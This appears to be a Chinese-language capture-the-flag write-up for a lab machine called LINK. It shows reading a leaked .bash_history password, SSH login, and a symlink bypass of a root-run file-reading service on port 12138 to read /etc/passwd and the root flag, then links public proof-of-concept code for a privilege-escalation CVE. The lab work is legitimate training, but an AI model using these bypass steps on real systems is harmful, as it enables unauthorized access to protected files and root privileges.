LINK 靶机 WP

最终拿到的 flag:

  • user: flag{user-05851bbc17a30c08cebd70bb537a3115}
  • root: flag{root-7ad90e080cbf6381a0930940d0879535}

信息收集

发现开启了三个端口先访问下80

访问首页:

  • http://192.168.56.141/

页面只有一个标题:

  • 12138

以及一张图片:

  • 12138.jpg

发现图片上有12138的提示,那么重点应该是在该端口了


分析 12138 端口服务

直接连接 12138 端口后,服务返回:

1
Please enter a path

这说明它像是一个“输入路径然后读取文件”的自定义服务。

经过测试其必须在/home/user12138目录下那么在该目录下进行信息收集

可以在该目录发现flag

1
flag{user-05851bbc17a30c08cebd70bb537a3115}

同时还可以读到一些高价值文件:.bash_history

这里泄露了一个账号密码

1
william-fN10MaXtaEY5VJWJ65ni

可以进行ssh连接

本地信息收集

william 下做收集,发现几个关键点。

12138 服务进程

1
ps -ef | grep 12138

可见:

可以发现:

  • /opt/12138 是 root 启动的
  • 12138 文件读取服务是 root 权限运行

这意味着只要绕过它的路径限制,就能以 root 权限读取任意文件。

elf文件分析

/opt/12138 拉下来分析后,确认逻辑大致如下:

看不懂扔给ai分析的结果如下:

  1. 检查输入路径是否以 /home/user12138/tmp 开头
  2. 禁止路径中出现 ..
  3. lstat() 检查“最终路径”是否是符号链接
  4. 如果不是符号链接,就调用 open() 打开并读取

关键漏洞点:

  • 它只检查“最终文件”是不是 symlink
  • 但不会禁止“路径中的中间目录”是 symlink

这就给了绕过空间。

并且ai给的思路

获取rootflag

获取root下flag的思路:

/tmp 下自己先建一个普通目录,再在这个普通目录里放 symlink:

1
2
mkdir -p /tmp/w
ln -s / /tmp/w/x

这样请求:

1
/tmp/w/x/etc/passwd

就能稳定读到:

1
/etc/passwd

这证明绕过成立。

原理是:

  • 输入路径仍然是以 /tmp 开头,满足前缀检查
  • 路径里没有 ..
  • 最终文件 /tmp/w/x/etc/passwdlstat 看起来是普通文件
  • 但中间目录 x 实际是指向 / 的 symlink
  • open() 会跟随中间目录 symlink,最终打开真正的 /etc/passwd

读取 root flag

既然 /tmp/w/x -> / 已经成立,那么 root flag 直接读:

1
/tmp/w/x/root/root.txt

成功返回:

1
flag{root-7ad90e080cbf6381a0930940d0879535}

之后看到有个cve能够进行提权https://github.com/Vozec/CVE-2026-41651

https://github.com/CipherCloak/CVE-2026-41651/blob/main/cve-2026-41651.py

之后提权即可